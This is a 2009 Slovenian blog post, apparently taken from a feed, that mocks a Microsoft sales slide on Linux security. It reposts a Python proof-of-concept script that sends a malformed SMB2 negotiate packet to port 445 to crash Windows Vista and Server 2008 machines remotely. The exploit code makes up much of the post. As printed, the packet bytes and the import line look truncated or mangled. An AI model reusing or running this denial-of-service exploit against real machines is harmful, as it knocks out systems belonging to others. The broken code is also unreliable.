Another day in a geek's life » exploit http://www.mulaz.org/blog question = 2b || !2b; Tue, 10 Jan 2012 14:12:50 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Windows 7, security, Linux, patchi, in en 0-day http://www.mulaz.org/blog/2009/09/08/windows-7-security-linux-patchi-in-en-0-day/ http://www.mulaz.org/blog/2009/09/08/windows-7-security-linux-patchi-in-en-0-day/#comments Tue, 08 Sep 2009 17:45:06 +0000 mulaz http://www.mulaz.org/blog/?p=690 Pred par dnevi je na slashdotu pojavil topic1  o Microsoftovih training slajdih, kjer so BestBuy zaposlene izobraževali kok je Win7 "ql", in kok je Linux "beden".  Konkreten slajd, ki mi je privlekel pozornost je bil tudi:

Linux11 security

Torej... ko pride do kakega grdega b00ga, exploita ipd, so userji "on their own", če uporabljajo Microsoft priozvode, so pa "safe and secure"...

No in danes mi je @Kostko poslal zanimiv link (click here), kjer se nahaja kratka python skripta, ki na oddaljeni mašini sproži BSOD.  In kako je sedaj z 'zagarantirano varnostjo'? Citiram:

Vendor contacted, but no patch available for the moment. Close SMB feature and ports, until a patch is provided.

Hmm.. očitno bo najbolje da izklopimo M$ file serverje, zakurimo ogenj in čakamo :)

In za vsak slučaj, da ne bi exploit kam izginil, dajem kopijo sem:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
 
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol

)
s = socket()
 
s.connect(host)
s.send(buff)
s.close()

ps:  zadeva se je pojavila tudi na slashdotu (click here)

pps:

(21:19:09) Anze: na zobavniku potrjeno bsod dela na visti
(21:19:12) Anze: win7 je safe <--????
(21:19:16) Anze: win 2k8 pade
